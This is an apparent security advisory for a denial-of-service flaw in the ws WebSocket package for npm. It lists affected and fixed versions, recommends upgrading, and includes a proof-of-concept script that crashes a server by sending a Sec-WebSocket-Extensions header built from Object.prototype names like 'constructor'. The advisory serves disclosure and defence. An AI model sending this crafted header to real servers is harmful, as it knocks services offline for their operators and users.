HighGHSA-5v72-xg48-5rpm
Denial of Service in ws
Published 4 Jun 2019 · Updated 17 Jul 2026
Affected packages
wsnpm
- Affected
- >=0.6.0 <1.1.5
- Fixed in
- 1.1.5
Update to the fixed version for your release line, for example:
npm install ws@1.1.5wsnpm
- Affected
- >=2.0.0 <3.3.1
- Fixed in
- 3.3.1
Update to the fixed version for your release line, for example:
npm install ws@3.3.1Details
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
Proof of concept
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});Recommendation
Update to version 3.3.1 or later.
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References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.